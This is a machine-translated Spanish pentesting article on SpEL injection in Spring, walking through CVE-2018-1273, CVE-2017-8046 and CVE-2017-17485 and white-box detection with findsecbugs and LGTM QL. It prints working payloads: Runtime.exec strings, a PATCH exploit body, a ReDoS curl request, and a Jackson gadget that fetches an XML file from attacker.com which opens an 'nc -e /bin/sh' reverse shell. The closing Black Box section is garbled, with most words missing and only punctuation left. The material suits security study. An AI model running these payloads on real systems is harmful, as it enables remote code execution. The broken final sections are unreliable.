Inyección de hechizo


Introducción


En el proceso de trabajar e investigar varios servicios, podemos cumplir cada vez más con Spring Framework. Y el paso lógico es familiarizarse con su estructura y posibles vulnerabilidades.


Lo más interesante para cualquier Pentester son las vulnerabilidades que conducen a la ejecución del código.


Una forma de obtener RCE en Spring es inyectar expresiones SpEL.


En este artículo intentaremos comprender qué es SpEL, dónde se puede encontrar, cuáles son las características de uso y cómo encontrar tales inyecciones.


Que?


SpEL es un lenguaje de expresión creado para Spring Framework que admite consultas y gestión gráfica de objetos en tiempo de ejecución.
También es importante tener en cuenta que SpEL se creó como una API que le permite integrarlo en otras aplicaciones y marcos.


¿Dónde puedo encontrarme?


Es lógico que en Spring Framework SpEL se use todo el tiempo. Un buen ejemplo es Spring Security, donde los derechos se asignan mediante expresiones SpEL:


@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); 


Apache Camel usa la API SpEL; A continuación se presentan ejemplos de su documentación.
Formación de letras usando expresiones SpEL:


 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route> 

O puede usar una regla de un archivo externo, por ejemplo, para especificar un Encabezado:


 .setHeader("myHeader").spel("resource:classpath:myspel.txt") 

Aquí hay algunos ejemplos vistos en GitHub:
https://github.com/jpatokal/openflights



https://github.com/hbandi/LEP



Spring Framework y SpEL Basics


Para que sea más fácil para el lector comprender qué son las inyecciones de SpEL, debe conocer Spring y SpEL un poco.


Un elemento clave del Spring Framework es el Spring Container. Un contenedor crea objetos, los une, los configura y los gestiona desde la creación hasta la destrucción.


Para controlar los componentes que componen la aplicación, Spring Container utiliza
Inyección de dependencia. Esto es cuando los objetos se configuran utilizando entidades externas llamadas Spring Beans, coloquialmente llamadas "beans".


Spring Container recupera los metadatos de configuración del bean que se necesita para obtener la siguiente información: instrucciones sobre qué objetos instanciar y cómo configurarlos a través de metadatos.


Los metadatos se pueden obtener de 3 maneras:


  • XML
  • Anotaciones Java
  • Código Java

Y otro punto importante para nosotros es el contexto de la aplicación.


ApplicationContext es la interfaz principal en una aplicación Spring que proporciona información de configuración de la aplicación. Es de solo lectura en tiempo de ejecución, pero se puede volver a cargar si es necesario y es compatible con la aplicación. El número de clases que implementan la interfaz ApplicationContext está disponible para varios parámetros de configuración y tipos de aplicaciones. De hecho, es la aplicación Spring misma. El contexto también proporciona la capacidad de responder a varios eventos que ocurren dentro de la aplicación y controlar el ciclo de vida de los beans.



Ahora analicemos directamente los métodos para definir un bean y usar expresiones SpEL.


Bean.xml


Un ejemplo de uso típico es la integración de SpEL en la creación de XML o definiciones anotadas de componentes de bean:


 <bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean> 

Aquí hay una parte del código en el archivo Bean.xml, para solo uno de sus beans. Vale la pena prestar atención al id del bin, por el que se puede acceder, y a las propiedades. Porque Como parte de este artículo estamos considerando la posibilidad de usar SpEL, luego en el ejemplo se darán varias opciones para escribir tales expresiones.


Para indicarle a Spring que las expresiones SpEL son las siguientes, se usa el carácter # y la expresión en sí misma se encierra entre llaves: #{SpEL_expression} . Se puede hacer referencia a las propiedades utilizando el carácter $ y encerrando el nombre de la propiedad entre llaves: ${someProperty} . Los marcadores de posición de propiedad no pueden contener expresiones SpEL, pero las expresiones pueden contener referencias de propiedad:


 "#{${someProperty}" 

Por lo tanto, puede llamar a cualquier clase de Java que necesitemos o, por ejemplo, acceder a variables de entorno, que pueden ser útiles para determinar el nombre de usuario o la versión del sistema.


La conveniencia de este método de especificar beans es la capacidad de cambiarlos sin volver a compilar toda la aplicación, cambiando así el comportamiento de la aplicación.


Desde la propia aplicación, puede acceder a este bean utilizando la interfaz ApplicationContext, como se muestra a continuación:


 ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2()); 

Es decir dentro de la aplicación, simplemente obtenemos los valores de los parámetros bin que contienen expresiones SpEL. Spring, después de recibir dicho valor, ejecuta la expresión y devuelve el resultado final. Además, no olvide que este código no funcionará sin los captadores correspondientes, pero su descripción está fuera del alcance del artículo.


Otra forma de especificar beans es el método de anotación AnnotationBase: los valores de los parámetros se establecen dentro de la anotación para alguna clase. En este caso, el uso de variables no es posible.


 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } 

Para poder usar variables, al crear expresiones SpEL, necesitamos usar la interfaz ExpressionParser. Y luego aparece una clase en el código de la aplicación, similar al siguiente ejemplo:


 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); 

ExpressionParser convierte una expresión de cadena en un objeto Expression. Por lo tanto, el valor de la expresión analizada se puede obtener en el marco del EvaluationContext. Este EvaluationContext será el único objeto del que estarán disponibles todas las propiedades y variables en la cadena EL.


Vale la pena señalar otro hecho importante. Con este método de uso de SpEL, solo necesitamos que la expresión de cadena contenga # si, además de la expresión misma, contiene literales de cadena.


De todo lo anterior, vale la pena recordar dos cosas:
1) Si es posible buscar por código de aplicación, entonces debe buscar tales palabras clave: SpelExpressionParser, EvaluationContext y parseExpression.
2) Punteros importantes para Spring #{SpEL} , ${someProperty} y T(javaclass)
Si desea leer más sobre Spring y SpEL, le recomendamos que preste atención a la documentación de docs.spring.io .


¿Qué puede hacer SpEL?


De acuerdo con la documentación, SpEL admite la siguiente funcionalidad:


  • Expresiones literales
  • Operadores booleanos y relacionales
  • Expresiones regulares
  • Expresiones de clase
  • Acceso a propiedades, matrices, listas, mapas
  • Invocación de método
  • Operadores relacionales
  • Cesión
  • Llamando a constructores
  • Referencias de frijoles
  • Construcción de matriz
  • Listas en línea
  • Mapas en línea
  • Operador ternario
  • Variables
  • Funciones definidas por el usuario.
  • Proyección de colección
  • Selección de colección
  • Expresiones con plantilla

Como podemos ver, la funcionalidad SpEL es muy rica, y esto puede afectar negativamente la seguridad del proyecto si la entrada del usuario entra en ExpressionParser. Por lo tanto, Spring recomienda utilizar, en lugar de un StandardEcalutionContext completamente funcional, un SimpleEvaluationContext más simple.


En resumen, de importancia para nosotros, SimpleEvaluationContext no tiene la capacidad de acceder a clases Java y hacer referencia a otros beans.


Una descripción completa de las características se explora mejor en el sitio web de documentación:
StandardEvaluationContext
SimpleEvaluationContext


Algunas correcciones se basan incluso en la diferencia en la funcionalidad de SpEL, que se ejecuta en diferentes contextos, pero hablaremos de esto un poco más adelante.


Para dejar todo realmente claro, damos un ejemplo. Tenemos una línea claramente maliciosa que contiene una expresión SpEL:


 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; 

Y hay dos contextos:


 StandardEvaluationContext std_c = new StandardEvaluationContext(); 

y


 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); 

Expresión exp = parser.parseExpression (inj);
java exp.getValue(std_c); - se lanzará la calculadora
java exp.getValue(simple_c); - recibiremos un mensaje de error


Un punto igualmente interesante es que podemos comenzar a procesar la expresión sin especificar ningún contexto: exp.getValue();
En este caso, la expresión se ejecutará dentro del contexto estándar y, como resultado, se ejecutará el código malicioso. Por lo tanto, si usted es un programador y usa Spring, nunca olvide establecer el contexto dentro del cual debe ejecutarse la expresión.


Dijimos un poco antes que algunas correcciones se basan en las diferencias entre las capacidades de SpEL dentro de los contextos. Considere un ejemplo de tal solución.


CVE 2018-1273 Spring Data Commons
Esta vulnerabilidad se encontró en el método setPropertyValue y se basó en dos problemas:
1) Saneamiento insuficiente de los valores de la variable que cae en ExpressionParser.
2) Ejecución de la expresión en el marco del contexto estándar.


Aquí hay una captura de pantalla de la parte vulnerable del código:



Porque el nombre de la propiedad no requirió un procesamiento complejo dentro del marco de SpEL; la solución lógica fue reemplazar el contexto, dando como resultado el siguiente código:



Las capturas de pantalla muestran las partes del código que establecen el contexto y la expresión que se ejecutará. Pero la ejecución de la expresión ocurre en otra parte:


 expression.setValue(context, value); 

Es aquí donde se indica que estamos ejecutando una expresión SpEL para el valor del valor dentro del contexto dado.
El uso de SimpleEvaluationContext ayudó a proteger contra la implementación de Java Class en parseExpression, y ahora, en lugar de ejecutar código en el registro del servidor, veremos un error:


 Type cannot be found 'java.lang.Runtime' 

Pero esto no resolvió el problema con la falta de saneamiento suficiente y retuvo la capacidad de realizar un ataque redos:


 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" 

Por lo tanto, la siguiente corrección ya incluía desinfectar el nombre del parámetro.


¡De la teoría a la práctica!


Ahora echemos un vistazo a varias formas de buscar la inyección de SpEL utilizando el método de White Box.


Paso a paso CVE-2017-8046


Primero necesita encontrar un lugar para procesar expresiones SpEL. Para hacer esto, simplemente puede usar nuestra recomendación y encontrar palabras clave en el código. Recuerde estas palabras: SpelExpressionParser, EvaluationContext y parseExpression.


Otra opción es usar varios complementos para encontrar errores en el código. Hasta ahora, el único complemento que apunta a una posible inyección de SpEL era findsecbugs-cli.
https://github.com/find-sec-bugs


Entonces, encontramos el lugar que nos interesa en el código. Digamos que usa findsecbugs-cli:



En el código de la aplicación, veremos lo siguiente:


 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } 

El siguiente paso es descubrir dónde entra la variable de ruta en el analizador de expresiones. Una de las formas más prácticas y gratuitas sería utilizar la función IntelijIdea IDE - Analizar flujo de datos:



Al desenrollar la cadena, por ejemplo, para reemplazar y estudiar los métodos y clases especificados, obtenemos lo siguiente:


El método ReplaceOperation toma el valor de la variable de ruta.


 public ReplaceOperation(String path, Object value) { super("replace", path, value); } 

Y para llamar al método de reemplazo, debe pasar la variable "op" con el valor "reemplazar" a JSON.


 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); 

Del mismo modo, encontramos todos los lugares donde el usuario puede pasar el valor que necesita a la variable de ruta. Y luego una de las opciones de explotación para la vulnerabilidad se verá así:
Método de solicitud: PARCHE
Cuerpo de solicitud:


 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] 

Usando LGTM QL


Usar LGTM QL (para los fines de este artículo, simplemente lo reducimos a QL) es otra forma interesante de buscar vulnerabilidades.
https://lgtm.com


Debe estipular inmediatamente su falta. De forma gratuita, puede analizar solo proyectos que están en repositorios abiertos en GitHub, porque Para tomar una foto del proyecto, LGTM carga el proyecto en su servidor y lo compila allí. Pero si esto no le molesta, entonces el LGTM QL le abrirá grandes oportunidades para analizar el código de la aplicación.


Entonces, ¿qué es el análisis de aplicaciones QL?


Para comenzar, como ya dijimos, debe crear una instantánea de la aplicación.


Cuando la instantánea está lista, y esto puede llevar varias horas, puede comenzar a escribir una consulta similar a SQL como parte de la sintaxis QL. Para hacer esto, puede usar el complemento para Eclipse o actuar directamente en la consola en la página QL del proyecto.


Porque Ahora estamos considerando Spring, y este es el marco para Java, tendrá que describir la clase de interés para usted y el método de esta clase, cuya llamada se considera vulnerable. Para nosotros, esta es cualquier clase que contiene un método que llama a ExpressionParser.


Luego hacemos una selección de todos los métodos que cumplen con nuestros requisitos, por ejemplo, describiendo cómo una variable cae en un método que se desinfectaría y la condición de no caer en este método.



Entonces, ¿qué se debe hacer para encontrar la vulnerabilidad CVE 2018-1273?
Una vez recibida y conectada la imagen del proyecto, usamos la consola QL para describir el árbol de llamadas que nos interesa. Para hacer esto:
Describimos la clase del analizador de expresiones:


 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } 

Y los métodos que se pueden usar para la ejecución dentro de la clase ExpressionParser:


 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } 

Ahora necesita conectar estas descripciones entre sí y hacer una selección:


 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr 

Dicha consulta devolverá todos los métodos que comienzan con parse o con el nombre doParseExpression que pertenecerá a la clase ExpressionParser. Pero eso es demasiado, dices, y tendrás razón. Se requiere un filtro.


Porque en el código hay un comentario de la forma:


 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. 

Eso podría ser, por ejemplo, una búsqueda de "ruta" en Javadoc. Spring comenta su código en una calidad muy alta, y podemos encontrar llamadas a métodos con el comentario necesario y, al mismo tiempo, eliminar todos los métodos que se incluyen en las pruebas. Todo esto se puede describir de la siguiente manera:


 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } 

Luego, para combinar la clase, los métodos y el filtro por Javadoc, la consulta para la selección tomará la siguiente forma:


 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c 

Este ejemplo puede considerarse simple y, en general, redundante para buscar una vulnerabilidad específica. Mucho más interesante es la búsqueda de errores al escribir una solución, porque en él, debe especificar la clase en sí, que es responsable de la verificación, los métodos que siempre la llaman y que se ejecutan antes de ser verificados.


Una llamada a un método que siempre llama a generatePath:


 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } } 

Una llamada a un método que se ejecuta antes de verificarPath:


 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } } 

Considere otra vulnerabilidad interesante. Su comprensión es muy importante, porque muestra que el error puede estar en una biblioteca de terceros y demuestra cómo se pueden usar beans anotados en XML.


Jackson y frijol


CVE-2017-17485 se basa en el uso de FileSystemXmlApplicationContext: es un contexto de aplicación independiente en forma de XML, que recibe archivos de definición de contexto del sistema de archivos o de la URL.


Según la documentación, esto le permite cargar beans desde un archivo y volver a cargar el contexto de la aplicación.
"... Cree un nuevo FileSystemXmlApplicationContext, cargando las definiciones de los archivos XML dados y actualizando automáticamente el contexto"


Jackson es una biblioteca que le permite serializar y deserializar cualquier objeto, excepto aquellos en la lista negra. Los atacantes suelen utilizar esta oportunidad. En el caso de esta vulnerabilidad, el atacante tuvo que pasar el objeto org.springframework.context.support.FileSystemXmlApplicationContext con un valor que contiene la ruta al archivo controlado por el atacante.


Es decir en el cuerpo de la solicitud, puede pasar el siguiente JSON:


 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} 

Spel.xml contendrá parámetros bin:


 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> 

Porque Dado que usamos la clase de bean java.lang.ProcessBuilder, que tiene un método de inicio, después de volver a cargar el contexto, Spring lee la expresión que inicia ProcessBuilder desde la propiedad SpEL, lo que obliga al servidor a conectarse a nosotros usando nc.


Vale la pena prestar atención al spel.xml dado como ejemplo, como muestra cómo pasar parámetros al ejecutar el comando.


¿Y de qué otra manera podemos cargar nuestro bean o recargar el contexto?


Incluso con un vistazo rápido a la documentación de Spring, puede encontrar algunas clases más que pueden sernos útiles.


ClassPathXmlApplicationContext y AbstractXmlApplicationContext son similares a FileSystem, pero los beans con anotaciones de ClassPath y XML se utilizan como la ruta a la configuración, respectivamente.


Hay otro punto interesante relacionado con la recarga del contexto: @RefreshScope.


Cualquier Spring Bean anotado con @RefreshScope se actualizará en el momento del lanzamiento. Y todos los componentes que lo usan recibirán un nuevo objeto la próxima vez que se llame al método, se inicializarán completamente y se introducirán dependiendo.


RefreshScope es un componente en contexto, y tiene un método público Actualizar todo diseñado para actualizar todos los componentes en un área al borrar el caché de destino. Por lo tanto, cuando se utiliza @RefreshScope, el usuario puede acceder a una URL que termina en / refresh y, por lo tanto, volver a cargar los beans anotados.


Otras utilidades


Hay muchos otros complementos y programas que le permiten analizar el código y encontrar la vulnerabilidad.


  • Jprofiler: se instala como una aplicación separada: servidor y complemento para IDE. Le permite analizar una aplicación en ejecución. Es muy conveniente analizar el comportamiento de los objetos mediante gráficos.


De los menos - pagados, pero tiene un período libre de 10 días. Se considera una de las mejores utilidades para analizar el comportamiento de las aplicaciones, no solo desde el punto de vista de la seguridad.


  • Xrebel - pagado, no encontramos la posibilidad de un período de prueba. Pero también considerado uno de los mejores.
  • Coverity: utiliza sus propios servidores para el análisis, por lo tanto, es conveniente solo para aquellos que no tienen miedo de diseñar su código.
  • Checkmarx: muy famoso, pagado, conoce muchos idiomas y arroja muchos falsos positivos. Pero es mejor señalar el lugar donde la teoría puede tener un error que perder un error real.
  • Verificación de dependencia de OWASP: se proporciona como un complemento conveniente para varios constructores. Logramos probarlo para Maven y Ant cuando analizamos una aplicación Java. También es compatible con .Net. Según los resultados del trabajo, proporciona un informe conveniente que indica bibliotecas obsoletas y vulnerabilidades conocidas por ellos.
  • Findbugs: ya se mencionó anteriormente. Tiene muchas implementaciones, pero la opción findbugs_cli resultó ser la más conveniente y, por alguna razón, mostró más problemas. Se puede usar de la siguiente manera:
     findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" 
  • LGTM QL: ya se ha dado un ejemplo de su uso anteriormente. Nos gustaría decir por separado que también hay un caso de uso pago, después del cual recibirá un servidor local para analizar su código.
    QL Java, .

Black Box


-, .
, : Spring, SpEL, , SpEL API, -, .


spring, URL, API. /metrics /beans — Spring Boot Actuator , .


, .


, SpEL , , .


  • : var[SpEL]=123
  • : &variable1=123&SpEL=
  • : org.springframework.cookie = ${}
  • ..

:


 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} 

SpEL


SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .



ZeroNights : “ , Spring, SpEL injection?”


, CVE, . , , github.


, , SpEL Expression. Es decir (, ) , .


Es decir . , , “” .

Source: https://habr.com/ru/post/es433034/


All Articles